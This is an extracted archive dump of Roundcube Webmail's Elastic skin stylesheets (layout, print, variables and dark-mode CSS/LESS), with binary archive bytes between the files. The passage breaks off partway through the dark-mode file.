.nav-link:hover{background:#21292c;border-color:#4d6066;color:#c5d1d3}html.dark-mode .nav-tabs .nav-link.active{background:#21292c;border-color:#4d6066 #4d6066 transparent;color:#fff}html.dark-mode .table{color:#c5d1d3}html.dark-mode .table td,html.dark-mode .table th,html.dark-mode .table thead th,html.dark-mode .table-widget,html.dark-mode .table-widget table.options-table tr:last-child td,html.dark-mode .table-widget>.footer{border-color:#4d6066}html.dark-mode .table-widget table.options-table tr.selected td{background-color:#374549;color:#c5d1d3}html.dark-mode #rcmdraglayer{background-color:#161b1d;border:1px solid #8b9fa7;box-shadow:none;color:#c5d1d3}html.dark-mode .quota-widget{color:unset}html.dark-mode .quota-widget .bar{border-color:#4d6066;background-color:#4d6066}html.dark-mode .quota-info .root{color:#8ba3a7;background-color:transparent}html.dark-mode #contactpic,html.dark-mode img.contactphoto{background-color:#374549!important}html.dark-mode .pgpkeyimport div.key.disabled,html.dark-mode .pgpkeyimport div.key.revoked{color:#637e82}html.dark-mode .pgpkeyimport li.uid::before{opacity:1}PKh�\=�t�$$"skins/elastic/styles/embed.min.cssnu�[���.popover,.rcmail-inline-message,body,button,input,optgroup,select,textarea{font-family:Roboto,sans-serif}@font-face{font-family:Icons;font-style:normal;font-weight:900;src:url(../fonts/fa-solid-900.woff2) format('woff2'),url(../fonts/fa-solid-900.woff) format('woff')}@font-face{font-family:Icons;font-style:normal;font-weight:400;src:url(../fonts/fa-regular-400.woff2) format('woff2'),url(../fonts/fa-regular-400.woff) format('woff')}@font-face{font-family:Roboto;font-style:normal;font-weight:400;src:local('Roboto'),local('Roboto-Regular'),url(../fonts/roboto-v29-regular.woff2) format('woff2'),url(../fonts/roboto-v29-regular.woff) format('woff')}@font-face{font-family:Roboto;font-style:italic;font-weight:400;src:local('Roboto Italic'),local('Roboto-Italic'),url(../fonts/roboto-v29-italic.woff2) format('woff2'),url(../fonts/roboto-v29-italic.woff) format('woff')}@font-face{font-family:Roboto;font-style:normal;font-weight:700;src:local('Roboto Bold'),local('Roboto-Bold'),url(../fonts/roboto-v29-regular-700.woff2) format('woff2'),url(../fonts/roboto-v29-regular-700.woff) format('woff')}@font-face{font-family:Roboto;font-style:italic;font-weight:700;src:local('Roboto Bold Italic'),local('Roboto-BoldItalic'),url(../fonts/roboto-v29-italic-700.woff2) format('woff2'),url(../fonts/roboto-v29-italic-700.woff) format('woff')}button,input,select,textarea{line-height:initial}input{vertical-align:middle}a{color:#00acff}a:hover{color:#008acc}a.disabled{pointer-events:none}a.disabled:not(.btn){opacity:.5}html:not(.touch) ::-webkit-scrollbar{width:6px}html{scrollbar-color:#c1c1c1 #f1f1f1}html:not(.touch) ::-webkit-scrollbar-track{background-color:#f1f1f1}html:not(.touch) ::-webkit-scrollbar-thumb{background-color:#c1c1c1}.mce-content-body{margin:4px;color:#2c363a}.mce-content-body div.pre{font-family:monospace}.mce-content-body blockquote{border-left:#1010ff 2px solid;margin:0;padding:0 .4em}.rcmail-inline-message{font-size:14px;padding:.5em;margin:0 0 .5em;opacity:.95;color:#2c363a;background-color:rgba(255,212,82,.2);display:flex;align-items:center}.rcmail-inline-message:before{display:block;float:left;margin:0 .3em 0 0;height:1em;font-family:Icons;font-style:normal;font-weight:900;text-decoration:inherit;text-align:center;speak:none;font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale;-webkit-font-smoothing:antialiased;font-size:1.5em;line-height:1;width:1em;content:"\f071";color:#ffd452}.rcmail-inline-message span{line-height:1.5}.rcmail-inline-message a{color:#00acff}.rcmail-inline-message a:hover{color:#008acc}.rcmail-inline-message button{vertical-align:middle;white-space:nowrap;padding:.375em .75em;margin-left:.5em;font-size:1em;line-height:1.5;border-radius:.25em;border:1px solid transparent;color:#fff;background:#37beff}.rcmail-inline-message button:focus{box-shadow:0 0 0 .2rem rgba(55,190,255,.5)}.rcmail-inline-message button:hover{background:#0eb1ff;border-color:#04adff}.rcmail-inline-message button:not([disabled]):not(.disabled):active{background:#00abfe;border-color:#00a4f4;box-shadow:0 0 0 .2rem rgba(55,190,255,.53)}.rcmail-inline-buttons{margin:0}PKh�\�� ��"skins/elastic/styles/print.min.cssnu�[���#print-layout #message-header,#print-layout .image-attachment .image-link{margin-bottom:.5rem}body{overflow:auto;height:auto}#print-layout{margin:1rem}#print-layout #logo{max-height:80px}#print-layout .image-attachment .attachment-links{display:none}#print-layout .attachment-size{padding-left:.1rem}#print-layout blockquote{page-break-inside:auto}#print-layout .formcontent{padding:0}#print-layout .formcontent legend{margin-top:.5rem}#print-layout .formcontent .row .form-control-plaintext{padding:.1rem}#print-layout .formcontent .contactfield{padding:.2rem 0}#print-layout .propform.grouped .row.input-group .input-group-text{padding:0;min-width:12rem;background:#fff;border:0}#print-layout .contact-header{margin-bottom:0}PKh�\��&ܪ�skins/elastic/styles/print.lessnu�[���/**
 * Roundcube Webmail styles for the Elastic skin
 *
 * Copyright (c) The Roundcube Dev Team
 *
 * The contents are subject to the Creative Commons Attribution-ShareAlike
 * License. It is allowed to copy, distribute, transmit and to adapt the work
 * by keeping credits to the original authors in the README.md file.
 * See http://creativecommons.org/licenses/by-sa/3.0/ for details.
 */

/*** Additional styles for printouts ***/

body {
    overflow: auto;
    height: auto;
}

#print-layout {
    margin: 1rem;

    #logo {
        max-height: 80px;
    }

    // Overwrites for mail message printouts

    .image-attachment {
        .image-link {
            margin-bottom: .5rem;
        }

        .attachment-links {
            display: none;
        }
    }

    #message-header {
        margin-bottom: .5rem;
    }

    .attachment-size {
        padding-left: .1rem;
    }

    blockquote {
        page-break-inside: auto;
    }

    // Overwrites for contact printouts

    .formcontent {
        padding: 0;

        legend {
            margin-top: .5rem;
        }

        .row .form-control-plaintext {
            padding: .1rem;
        }

        .contactfield {
            padding: .2rem 0;
        }
    }

    .propform.grouped .row.input-group .input-group-text {
        padding: 0;
        min-width: 12rem;
        background: #fff;
        border: 0;
    }

    .contact-header {
        margin-bottom: 0;
    }
}
PKh�\@���&�& skins/elastic/styles/layout.lessnu�[���/**
 * Roundcube Webmail styles for the Elastic skin
 *
 * Copyright (c) The Roundcube Dev Team
 *
 * The contents are subject to the Creative Commons Attribution-ShareAlike
 * License. It is allowed to copy, distribute, transmit and to adapt the work
 * by keeping credits to the original authors in the README.md file.
 * See http://creativecommons.org/licenses/by-sa/3.0/ for details.
 */

/*** Responsive design - Layout ***/

/*
- Large screen (width > 1200px)
   -----------------------------------------------------------------------------------------------------
   |  menu  |        sidebar        |         list          |                 content                  |
   -----------------------------------------------------------------------------------------------------
- Normal screen (1200px => width => 768px) - typical: 768x1024 (iPad Mini/Air)
   -------------------------------------------------------------------
   |menu|    sidebar/list     |               content                |
   -------------------------------------------------------------------
- Small (480px < width < 768px)
   ------------------------------------------
   |menu|     sidebar/list/content          |
   ------------------------------------------
- Phone (width <= 480px) - typical: 320x480 (iPhone 5), 375x667 (iPhone 6-7), 360x564 (Galaxy S6)
   ------------------------
   | sidebar/list/content |
   ------------------------
*/

html {
    height: 100%;
    font-size: @page-font-size;
}

body {
    min-width: @page-min-width;
    height: 100%;
    color: @color-font;
    overflow: hidden;

    html.iframe & {
        overflow: auto;
    }
}

#layout {
    overflow: hidden;
    display: flex;
    height: 100%;
    width: 100%;

    & > div {
        & > .scroller {
            flex: 1;
            position: relative; // for .listing-info positioning
        }

        & > .header,
        & > .footer {
            font-size: @layout-header-font-size;
            font-weight: bold;
            line-height: @layout-header-height;
            height: @layout-header-height;
            min-height: @layout-header-height;
            padding: 0 .25em;
            margin: 0;
            position: relative; // for absolute positioning of searchbar
            overflow: hidden;
            white-space: nowrap;
            display: flex;
            justify-content: center;
        }

        & > .header {
            border-bottom: 1px solid @color-layout-border;
            color: @color-layout-header;
            background-color: @color-layout-header-background;

            .header-title {
                .overflow-ellipsis();
                flex: 1;
                text-align: center;
                margin: 0 -20rem;
            }

            a.button {
                color: @color-toolbar-button;
            }

            a.toolbar-list-button,
            a.toolbar-menu-button {
                order: 99; // always the last button
            }
        }

        & > .footer {
            border-top: 1px solid @color-layout-border;
            background-color: @color-layout-footer-background;

            & when not (@layout-footer-height = @layout-header-height) {
                height: @layout-footer-height;
                min-height: @layout-footer-height;
                line-height: @layout-footer-height;
            }

            &.small {
                height: @layout-footer-small-height;
                min-height: @layout-footer-small-height;
                line-height: @layout-footer-small-height;
            }

            &:empty {
                display: none;
            }
        }
    }
}

#layout-sidebar {
    position: relative; // e.g. for .column-resizer
    display: flex;
    flex-direction: column;
    flex: 2;
    max-width: 30%;
    min-width: 220px;
    border-right: 1px solid @color-layout-border;
    background-color: @color-layout-sidebar-background;

    &.sidebar-right {
        order: 2;
        border-right: 0;
        border-left: 1px solid @color-layout-border;
        // sidebar on right is unusual situation, probably there's no list in layout,
        // in such a case we can make it a little bit wider
        flex: 3;
    }
}

#layout-list {
    position: relative; // e.g. for .column-resizer
    display: flex;
    flex-direction: column;
    flex: 3;
    max-width: 30%;
    min-width: 300px;
    border-right: 1px solid @color-layout-border;
    background-color: @color-layout-list-background;
}

#layout-content {
    display: flex;
    flex: 6;
    flex-direction: column;
    background-color: @color-layout-content-background;
    width: 100%;

    html.iframe & {
        height: 100%;
    }

    & > .formcontent, // e.g. Help plugin
    & > .content {
        height: 100%;
        width: 100%;
        overflow: auto;
        flex: 1;
    }

    .iframe-wrapper {
        width: 100%;
        flex: 1;

        iframe {
            width: 100%;
            height: 100%;
            border: 0;
        }
    }

    &.only > .scroller {
        overflow: auto;
    }
}

#layout-menu {
    &.popover {
        left: 0 !important;
    }

    .popover-header {
        height: @layout-header-height;
        line-height: @layout-header-height;
        border: 0;
        border-radius: 0;
        text-align: center;

        img {
            max-height: @layout-header-height;
            max-width: @layout-menu-width;
            padding: .25rem;

            @media screen and (min-width: (@screen-width-xs + 1px)) and (max-width: @screen-width-medium) {
                max-width: @layout-menu-width * 0.45;
            }
        }

        @media screen and (min-width: (@screen-width-xs + 1px)) {
            padding: 0 !important;
            background-color: @color-taskmenu-background !important;

            a {
                display: none !important;
            }
        }

        html.layout-phone & {
            display: flex !important;
            align-items: center;
            justify-content: center;
            padding: 0 .5rem;

            img {
                max-width: @layout-mobile-menu-width - 50px;
            }

            a {
                width: auto;
                flex: 1;

                &:before {
                    height: @layout-touch-header-height;
                    float: right;
                }

                .inner {
                    display: none;
                }
            }
        }
    }
}

.column-resizer {
    cursor: col-resize;
    z-index: 1;
    position: absolute;
    top: 0;
    right: -3px;
    width: 6px;
    height: 100%;

    &.inverted {
        right: auto;
        left: -3px;
    }

    &.active {
        width: 10000px;
        right: -5000px;

        &.inverted {
            right: auto;
            left: -5000px;
        }
    }
}

@media screen and (max-width: @screen-width-large) {
    #layout-sidebar,
    #layout-list {
        min-width: 260px;
        flex: 3;
    }

    #layout-list > .header > a.button {
        padding: 0 .25rem;
        margin: 0 .25rem;
    }
}

@media screen and (max-width: @screen-width-medium) {
    // Disable column resizing by hiding splitters and resetting columns width
    .column-resizer {
        display: none;
    }
    #layout-sidebar,
    #layout-list {
        width: auto !important;
        flex: 3 !important;
    }
}

@media screen and (max-width: @screen-width-small) {
    #layout-sidebar,
    #layout-list {
        max-width: none;
        border: 0 !important;
    }

    #layout > div > .header {
        background-color: @color-layout-mobile-header-background;

        a.button {
            // make the button active area smaller on touch devices
            margin: 0 .3rem !important;
            padding: 0 !important;

            &:before {
                font-size: 1.75rem;
                height: @layout-touch-header-height;
                margin: 0;
            }

            &.filter:before {
                font-size: 1.6rem; // this icon is too big in FA5
            }

            .inner {
                display: none;
            }
        }
    }

    #layout > div > .footer {
        background-color: @color-layout-mobile-footer-background;
    }

    a.toolbar-list-button {
        display: none;
    }
}

@media screen and (max-width: @screen-width-xs) {
}

@media screen and (max-width: @screen-width-mini) {
    #layout-sidebar,
    #layout-list {
        min-width: @page-min-width;
    }
}

@media screen and (min-width: (@screen-width-xs + 1px)) {
    a.task-menu-button {
        display: none;
    }

    #layout-menu {
        // FIXME: we set background color here not in taskmenu.less, because
        // otherwise background is partially white on Android/iOS
        background-color: @color-taskmenu-background;
        width: @layout-menu-width-sm;
    }
}

@media screen and (min-width: (@screen-width-small + 1px)) {
    .floating-action-buttons,
    #layout-content > .header > .header-title,
    #layout > div > .header > .buttons,
    a.toolbar-menu-button {
        display: none;
    }
}

@media screen and (min-width: (@screen-width-medium + 1px)) {
    #layout-menu {
        width: @layout-menu-width;
    }
}

@media screen and (min-width: (@screen-width-large + 1px)) {
    #layout-list > .header > .header-title:not(.all-sizes),
    a.toolbar-list-button,
    a.back-list-button,
    a.back-sidebar-button {
        display: none;
    }
}

html.layout-phone {
    .hidden-phone {
        display: none !important;
    }
}

html.layout-phone,
html.layout-small {
    .hidden-small {
        display: none !important;
    }
}

html.layout-small {
    .hidden-lbs {
        display: none !important;
    }
}

html.layout-large,
html.layout-normal {
    .hidden-lbs,
    .hidden-big {
        display: none !important;
    }
}

html.layout-large {
    .hidden-large {
        display: none !important;
    }
}
PKh�\a���	�	#skins/elastic/styles/variables.lessnu�[���/**
 * Roundcube Webmail styles for the Elastic skin
 *
 * Copyright (c) The Roundcube Dev Team
 *
 * The contents are subject to the Creative Commons Attribution-ShareAlike
 * License. It is allowed to copy, distribute, transmit and to adapt the work
 * by keeping credits to the original authors in the README.md file.
 * See http://creativecommons.org/licenses/by-sa/3.0/ for details.
 */

@import (reference) "fontawesome";
@import (reference) "colors";

@dark-mode-enabled:     true; // on change also have to change dark_mode_support in meta.json

@screen-width-large:    1200px;
@screen-width-medium:   1024px;
@screen-width-small:    768px;
@screen-width-xs:       480px;
@screen-width-mini:     320px;
@screen-width-touch:    @screen-width-medium;
@screen-width-bs-phone: 576px;

@page-font-size:        14px;
@page-min-width:        240px;

// Note: we'll set some values in pixels instead of rem to eliminate
//       Firefox sub-pixel rendering bug(s)

@layout-menu-width:                     floor(5.6 * @page-font-size);
@layout-menu-width-sm:                  floor(3 * @page-font-size);
@layout-header-height:                  floor(4.2 * @page-font-size);
@layout-footer-height:                  @layout-header-height;
@layout-footer-small-height:            floor(2.5 * @page-font-size);
@layout-header-font-size:               1rem;
@layout-searchbar-height:               floor(2.6 * @page-font-size);

@layout-touch-header-height:            @layout-header-height;
@layout-touch-header-font-size:         floor(1.2 * @page-font-size);
@layout-touch-menu-record-height:       floor(3.4 * @page-font-size);
@layout-touch-menu-record-font-size:    floor(1.2 * @page-font-size);
@layout-touch-icon-width:               2.2em;

@layout-mobile-menu-width:              (@screen-width-mini * .85);

@layout-contact-icon-width:             112px;
@layout-contact-icon-height:            135px;

@listing-line-height:                   floor(2.5 * @page-font-size);
@listing-touch-line-height:             floor(3.4 * @page-font-size);
@listing-treetoggle-width:              1.5em;

@mail-header-photo-height:              4rem;

// Scrollbars
@scrollbar-width:       thin; // 'auto' or 'thin' or 'unset'

// Additional icons
@icon-resize-corner:    data-uri("image/svg+xml;charset=utf-8", "../images/corner-handle.svg"); // size: 16x16
@icon-file-drop:        data-uri("image/svg+xml;charset=utf-8", "../images/download.svg");

@import (reference, optional) "_variables";
PKh�\�@���o�oskins/elastic/styles/dark.lessnu�[���/**
 * Roundcube webmail styles for the Elastic skin
 *
 * Copyright (c) The Roundcube Dev Team
 *
 * The contents are subject to the Creative Commons Attribution-ShareAlike
 * License. It is allowed to copy, distribute, transmit and to adapt the work
 * by keeping credits to the original authors in the README.md file.
 * See http://creativecommons.org/licenses/by-sa/3.0/ for details.
 */

@import (reference) "variables";

html.dark-mode {
    scrollbar-color: @color-dark-scrollbar-thumb @color-dark-scrollbar-track;

    &:not(.touch) {
        ::-webkit-scrollbar-track {
            background-color: @color-dark-scrollbar-track;
        }

        ::-webkit-scrollbar-thumb {
            background-color: @color-dark-scrollbar-thumb;
        }
    }

    body {
        color: @color-dark-font;
        background-color: @color-dark-background;
    }

    #logo {
        // FIXME: is there a better way to make the logo darker?
        //        `mix-blend-mode: soft-light` makes it slightly too dark
        opacity: .8;
    }

    #layout-list,
    #layout-content,
    #layout-sidebar,
    #layout > div > .header,
    #layout > div > .footer,
    .popup .listbox .footer,
    .menu.pagenav.pagenav-list,
    .menu.pagenav.pagenav-list + .navlist,
    .menu.pagenav.pagenav-list.expanded + .navlist {
        background-color: transparent;
        border-color: @color-dark-border;
    }

    #layout > div > .footer {
        font-weight: normal;
    }

    #layout > div > .header,
    #layout > div > .footer {
        color: unset;

        a.button {
            color: @color-dark-font;
        }
    }

    #layout-menu {
        background: unset;
        border-right: 1px solid @color-dark-border;

        .popover-header,
        .special-buttons {
            background: transparent !important;
        }

        @media screen and (max-width: @screen-width-xs) {
            border-left: 0;

            .popover-header {
                border-bottom: 1px solid @color-dark-border;
            }
        }

        .special-buttons a:not(:focus) {
            background: @color-dark-background;
        }
    }

    &.layout-phone #layout-menu {
        background: @color-dark-popover-background;
    }

    .searchbar {
        background-color: transparent;
        border-color: @color-dark-border;

        form:before,
        a,
        input {
            color: unset;
        }

        a.selected {
            color: @color-success;
        }
    }

    #messagestack {
        div {
            color: @color-dark-font;

            i.icon:before {
                color: @color-dark-font;
            }
        }
    }

    .ui.alert.boxinformation,
    #messagestack .alert-info {
        background-color: @color-dark-message-information;
    }

    .ui.alert.boxerror,
    #messagestack .alert-danger {
        background-color: @color-dark-message-error;
    }

    .ui.alert.boxwarning,
    #messagestack .alert-warning {
        background-color: @color-dark-message-warning;
    }

    .ui.alert.boxconfirmation,
    #messagestack .alert-success {
        background-color: @color-dark-message-success;
    }

    #messagestack .loading {
        background-color: @color-dark-message-loading;
    }

    .ui.alert.boxinformation,
    .ui.alert.boxerror,
    .ui.alert.boxwarning,
    .ui.alert.boxconfirmation {
        color: @color-dark-font;
        i.icon:before {
            color: @color-dark-font;
        }
    }

    .ui.alert a:not(.btn) {
        color: @color-dark-font;
        text-decoration: underline;
    }

    .iframe-loader {
        background-color: fadeout(@color-dark-background, 10%);

        .spinner-border {
            color: darken(@color-dark-font, 25%);
            border-color: currentColor darken(@color-dark-font, 50%) currentColor currentColor;
        }
    }

    #taskmenu a,
    .menu.toolbar a {
        color: @color-dark-font;

        &.selected {
            background-color: @color-dark-list-selected-background;
        }
    }

    pre,
    .popover .menu li a[aria-haspopup]::after,
    .menu.pagenav .pagenav-text,
    .menu.pagenav a {
        color: unset;
    }

    #taskmenu {
        .action-buttons a {
            color: @color-main;
        }

        a {
            @media screen and (max-width: @screen-width-xs) {
                border-color: @color-dark-list-border !important;

                &.selected {
                    background: transparent;
                }
            }

            @media screen and (min-width: (@screen-width-xs + 1px)) and (max-width: @screen-width-medium) {
                width: @layout-menu-width-sm - 1px;
            }

            @media screen and (min-width: (@screen-width-medium + 1px)) {
                width: @layout-menu-width - 1px;
            }
        }
    }

    &.layout-small,
    &.layout-phone {
        .popover {
            border-left: 1px solid @color-dark-border;

            .menu .dropbutton a.dropdown {
                background: transparent;
            }

            &:not(.select-menu) .listing li:last-child {
                border-color: @color-dark-list-border;
            }
        }

        .popover-header {
            background: @color-dark-popover-background;
            border-bottom: 1px solid @color-dark-border;
            color: unset;
        }

        .popover-overlay {
            background: @color-dark-dialog-overlay-background;
        }
    }

    #taskmenu a:hover,
    .popupmenu .listing li > a:not(.disabled):hover,
    .header a.button.icon:not(.disabled):focus,
    .header a.button.icon:not(.disabled):hover,
    .menu.toolbar .dropbutton:not(.disabled):hover,
    .menu a:not(.disabled):focus,
    .menu a:not(.disabled):hover {
        background-color: @color-dark-list-selected-background;
    }

    .menu.toolbar a.selected {
        color: @color-success;
        background: transparent;
    }

    .menu.toolbar .dropbutton a.dropdown:hover {
        background-color: lighten(@color-dark-list-selected-background, 5%);
    }

    // ---------------------------------
    // Lists
    // ---------------------------------

    .proplist li.with-sublist > a.dropdown,
    .listing tbody td,
    .listing tbody td a,
    .listing li a {
        color: @color-dark-font;
    }

    .listing li ul,
    .listing tbody td,
    .listing li {
        border-color: @color-dark-list-border;
    }

    .listing li.selected,
    .listing li.selected > a,
    .listing li.selected > div > a, // this is used e.g. by kolab_addressbook
    .listing tr.selected td {
        color: @color-dark-list-selected;
        background-color: @color-dark-list-selected-background;
    }

    .listing li.selected ul {
        background-color: @color-dark-background;

        div.treetoggle {
            color: @color-dark-font;
        }
    }

    .listing {
        li.disabled,
        tr.disabled td {
            color: @color-dark-list-deleted;
        }
    }

    .listing li.droptarget > a,
    .listing tr.droptarget > td {
        background-color: @color-dark-list-droptarget-background;
    }

    .messagelist {
        color: @color-dark-font;

        tr:not(.flagged):not(.deleted) {
            td.subject {
                span.size,
                span.date,
                span.fromto {
                    color: @color-dark-hint;
                }

                span.msgicon.status {
                    color: @color-dark-font;

                    &.unread::before {
                        color: darken(@color-warning, 30%);
                    }
                }
            }

            span.flag {
                color: @color-dark-font;
            }

            &.selected {
                td.subject {
                    a,
                    span.msgicon.status {
                        color: @color-dark-list-selected;
                    }
                }
            }
        }

        tr.flagged:not(.deleted) {
            td,
            span.attachment span {
                color: @color-list-flagged;
            }
        }

        tr.deleted {
            td span.flag,
            td span.attachment span,
            td.subject span.msgicon.status,
            td.subject span.msgicon.status.unread:before,
            td.subject span.subject a,
            td.subject span.date,
            td.subject span.fromto {
                color: @color-dark-list-deleted;
            }
        }

        span.attachment span {
            color: @color-dark-hint;
        }
    }

    .folderlist li.mailbox .unreadcount {
        background-color: @color-dark-list-badge-background;
        color: @color-dark-list-badge;
        font-weight: normal;
    }

    .attachmentslist {
        background-color: @color-dark-list-selected-background;
        border: 0;

        a {
            color: @color-dark-font;
        }

        li {
            .attachment-name {
                color: @color-dark-font;
            }

            .attachment-size {
                color: @color-dark-hint;
            }
        }
    }
    // ---------------------------------
    // Buttons & Forms
    // ---------------------------------

    .btn {
        color: @color-dark-font;

        &:focus,
        &:hover {
            color: @color-dark-btn;
        }

        &:disabled {
            opacity: .5 !important;
        }
    }

    .btn-primary {
        background-color: @color-dark-btn-primary-background;
        color: @color-dark-btn;

        &:hover:not(:disabled) {
            background-color: lighten(@color-dark-btn-primary-background, 5%);
        }
    }

    .btn-secondary {
        background-color: @color-dark-btn-secondary-background;
        color: @color-dark-btn;

        &:hover:not(:disabled) {
            background-color: lighten(@color-dark-btn-secondary-background, 5%);
        }
    }

    .btn-danger {
        background-color: @color-dark-btn-danger-background;
        color: @color-dark-btn;

        &:hover:not(:disabled) {
            background-color: lighten(@color-dark-btn-danger-background, 5%);
        }
    }

    .floating-action-buttons a.button {
        box-shadow: none;
        background: @color-dark-main;
    }

    .custom-file-label,
    .form-control {
        background-color: @color-dark-input-background;
        color: @color-dark-input;

        &:not(.is-invalid) {
            border-color: @color-dark-input-border;
        }

        &:focus {
            background-color: @color-dark-input-background-focus;

            &:not(.is-invalid) {
                color: @color-dark-input-focus !important;
                border-color: @color-dark-input-border-focus;
            }
        }
    }

    .custom-file-label::after {
        color: @color-dark-input;
        background-color: @color-dark-input-addon-background;
    }

    .custom-select {
        @color-arrow: escape(~"@{color-dark-input}");
        background: url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' fill='@{color-arrow}' viewBox='0 0 4 5'%3e%3cpath d='M2 0L0 2h4zm0 5L0 3h4z'/%3e%3c/svg%3e") no-repeat right .75rem center/8px 10px;
    }

    .custom-switch {
        .custom-control-label::before {
            background-color: @color-dark-checkbox;
        }

        .custom-control-label::after {
            background-color: @color-dark-font;
        }

        .custom-control-input:disabled ~ .custom-control-label {
            opacity: .4;
        }

        .custom-control-input:checked {
            & ~ .custom-control-label::before {
                background-color: @color-dark-checkbox-checked;
            }

            & ~ .custom-control-label::after {
                background-color: @color-dark-font;
            }
        }
    }

    input:disabled,
    select:disabled {
        opacity: .5;
    }

    .multi-input:not(.is-invalid) > .content {
        border-color: @color-dark-input-border;

        &.focused {
            border-color: @color-dark-input-border-focus;
        }
    }

    .input-group-text {
        color: @color-dark-input;
        background-color: @color-dark-input-addon-background;
        border-color: @color-dark-input-border;
    }

    .input-group a:focus {
        border-color: @color-dark-input-border-focus;
        box-shadow: 0 0 0 .2rem @color-input-border-focus-shadow;
        z-index: 1;
    }

    .form-control-plaintext {
        color: unset;
    }

    .recipient-input {
        &.focus {
            color: @color-dark-input-focus;
            background-color: @color-dark-input-background-focus;
            border-color: @color-dark-input-border-focus;
        }

        a.button.icon,
        input {
            color: @color-dark-input;
        }

        .recipient {
            background-color: @color-dark-input-addon-background;
            border-color: @color-dark-input-border;
        }
    }

    .file-upload {
        border-color: @color-dark-border;

        &:after {
            mix-blend-mode: soft-light;
        }

        &.droptarget {
            &.active {
                border-color: @color-dark-font;
            }

            &.hover {
                border-color: @color-dark-font;
                background-color: @color-dark-list-selected-background;
            }
        }

        .attachmentslist {
            background: transparent;
        }
    }

    .image-upload {
        background-color: @color-dark-list-selected-background;

        a.button {
            background-color: fadeout(@color-dark-background, 75%);
        }
    }

    .formcontent.raweditor {
        .CodeMirror {
            color: @color-dark-input;
            background-color: @color-dark-input-background;
            border-color: @color-dark-input-border;
        }

        .CodeMirror-focused {
            background-color: @color-dark-input-background-focus;
            border-color: @color-dark-input-border-focus;
        }
    }

    .CodeMirror-selected,
    .CodeMirror-line::selection,
    .CodeMirror-line > span::selection,
    .CodeMirror-line > span > span::selection {
        background: @color-dark-list-selected-background;
    }

    .CodeMirror-gutters {
        background-color: darken(@color-dark-list-selected-background, 10%);
        border: 0;
    }

    .CodeMirror-activeline-background {
        background: @color-dark-list-selected-background;
    }

    .skinselection .skinthumbnail {
        border-color: @color-dark-input-border;
        background: transparent;
    }

    // ---------------------------------
    // HTML Editor (TinyMCE)
    // ---------------------------------

    .html-editor {
        .editor-toolbar {
            background-color: @color-dark-input-addon-background;
            border-color: @color-dark-input-border;

            .mce-i-html {
                color: unset;

                &:hover,
                &:focus {
                    background-color: @color-dark-input-addon-background-focus;
                    border-color: transparent;
                }
            }
        }
    }

    .tox {
        &.tox-tinymce {
            border-color: @color-dark-input-border;
        }

        .tox-toolbar {
            background-color: @color-dark-input-addon-background;
            border-color: @color-dark-input-border;
        }

        .tox-toolbar-overlord > div {
            @color-overlord-border: escape(~"@{color-dark-input-border}");
            background: url("data:image/svg+xml,%3Csvg height='33px' viewBox='0 0 40 33px' width='40' xmlns='http://www.w3.org/2000/svg'%3E%3Crect x='0' y='32px' width='100' height='1' fill='@{color-overlord-border}'/%3E%3C/svg%3E") @color-dark-input-addon-background;
        }

        .tox-pop.tox-pop--top {
            &:before,
            &:after {
                border-bottom-color: @color-dark-popover-border;
            }
        }

        .tox-pop__dialog {
            box-shadow: none;
            border-color: @color-dark-popover-border;
        }

        .tox-tbtn,
        .tox-split-button,
        .tox-swatches__picker-btn {
            color: @color-dark-font;

            svg {
                fill: @color-dark-font !important;
            }

            &:hover,
            &:focus {
                color: @color-dark-font;
                background: @color-dark-input-addon-background-focus;
                box-shadow: none;
            }
        }

        .tox-tbtn--enabled {
            background: @color-dark-input-addon-background-focus;
        }

        .tox-button--naked {
            &:focus:not(:disabled),
            &.tox-button--icon:hover:not(:disabled) {
                color: lighten(@color-dark-font, 5%);
                background-color: @color-dark-input-addon-background-focus;
                border-color: transparent;
            }

            &:disabled {
                background: transparent;
                border: transparent;
            }
        }

        .tox-dialog__header .tox-button--naked:hover {
            background: transparent !important;
        }

        .tox-selectfield {
            select {
                background: transparent;
                color: @color-dark-input;
            }

            svg {
                fill: @color-dark-input;
            }
        }

        .tox-color-input span::before {
            background-color: @color-dark-font;
        }

        .tox-toolbar__group:not(:last-of-type) {
            border-color: @color-dark-input-border;
        }

        .tox-dialog,
        .tox-dialog__header,
        .tox-dialog__body,
        .tox-dialog__footer,
        .tox-dialog__title {
            color: @color-dark-font;
            border-color: @color-dark-border;
            background-color: @color-dark-background;
        }

        .tox-textfield,
        .tox-color-input > input,
        .tox-label,
        .tox-dialog__body-nav-item,
        .tox-button--naked,
        .tox-dialog__header .tox-button,
        .tox-insert-table-picker__label {
            color: @color-dark-font;
        }

        .tox-dialog__footer .tox-button {
            background-color: @color-dark-btn-primary-background;
            color: @color-dark-btn;

            &:disabled {
                opacity: .5;
            }

            @media screen and (max-width: @screen-width-xs) {
                color: @color-dark-font !important;
            }

            &:focus:not(:disabled) {
                background-color: @color-dark-btn-primary-background;
            }

            &:hover:not(:disabled) {
                background-color: lighten(@color-dark-btn-primary-background, 5%);
            }

            &.tox-button--secondary {
                background-color: @color-dark-btn-secondary-background;
                color: @color-dark-btn;

                &:focus:not(:disabled) {
                    background-color: @color-dark-btn-secondary-background;
                }

                &:hover:not(:disabled) {
                    background-color: lighten(@color-dark-btn-secondary-background, 5%);
                }

            }
        }

        .tox-dialog__body-nav-item--active {
            color: @color-main;
        }

        .tox-dialog-wrap__backdrop {
            background-color: @color-dark-dialog-overlay-background;
        }

        .tox-menu {
            background-color: @color-dark-popover-background;
            border-color: @color-dark-popover-border;
            box-shadow: none;
        }

        .tox-collection__item-caret svg {
            fill: @color-dark-font;
        }

        .tox-collection__item {
            color: @color-dark-font;

            &:not(:last-child) {
                border-bottom: 1px solid @color-dark-list-border;
            }
        }

        .tox-collection--grid .tox-collection__item {
            border: 0;
        }

        .tox-collection__item--active,
        .tox-collection__item--active:not(.tox-collection__item--state-disabled) {
            color: @color-dark-font;
            background-color: @color-dark-list-selected-background;
        }

        .tox-collection__item--enabled {
            color: @color-dark-list-selected;
            background-color: @color-dark-list-selected-background;
        }
    }

    // ---------------------------------
    // Mail preview
    // ---------------------------------

    .message-part,
    .message-htmlpart {
        border-color: @color-dark-border;

        blockquote {
            background-color: @color-dark-background;
            border-color: @color-dark-blockquote-0-border;
            color: @color-dark-blockquote-0;

            span.blockquote-link {
                color: currentColor;
                background: @color-dark-background;
                border-color: currentColor;
            }

            blockquote {
                color: @color-dark-blockquote-1;
                border-color: @color-dark-blockquote-1-border;

                blockquote {
                    color: @color-dark-blockquote-2;
                    border-color: @color-dark-blockquote-2-border;
                }
            }
        }
